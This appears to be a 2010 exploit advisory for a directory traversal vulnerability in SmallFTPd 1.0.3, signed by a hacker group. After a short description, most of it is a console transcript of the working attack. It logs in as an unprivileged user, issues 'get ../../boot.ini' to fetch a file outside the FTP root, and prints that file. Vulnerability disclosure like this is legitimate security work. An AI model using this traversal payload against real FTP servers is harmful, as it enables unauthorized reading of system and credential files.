SmallFTPd 1.0.3 - Directory Traversal

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#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
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# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
#
# Contact: [email protected]
#
# -----------------------------------
# SmallFTPD is vulnerable for a path traversal, the following will explain you how to read  files
# The vulnerability allows an unprivileged attacker to read files whom he has no permissions to.
# The vulnerable FTP command are:
# * GET 	- Read File
#-----------------------------------
# Vulnerability Title: SmallFTPD v1.0.3 Remote Directory Traversal Vulnerability
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://sourceforge.net/projects/smallftpd/files/smallftpd/smallftpd-1.0.3-fix/smallftpd-1.0.3-fix.zip/download
# Affected Version: 1.0.3
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>ftp 127.0.0.1
Connected to 127.0.0.1.
220- smallftpd 1.0.3
220- check http://smallftpd.free.fr for more information
220 report bugs to [email protected]
User (127.0.0.1:(none)): test
331 User name okay, password required.
Password:
230 User logged in.
ftp> get ../../boot.ini
200 Port command successful.
150 Data connection ready.
226 Transfer complete.
ftp: 211 bytes received in 0.00Seconds 211000.00Kbytes/sec.
ftp> bye
221 Good bye.

C:\Documents and Settings\Admin>type boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"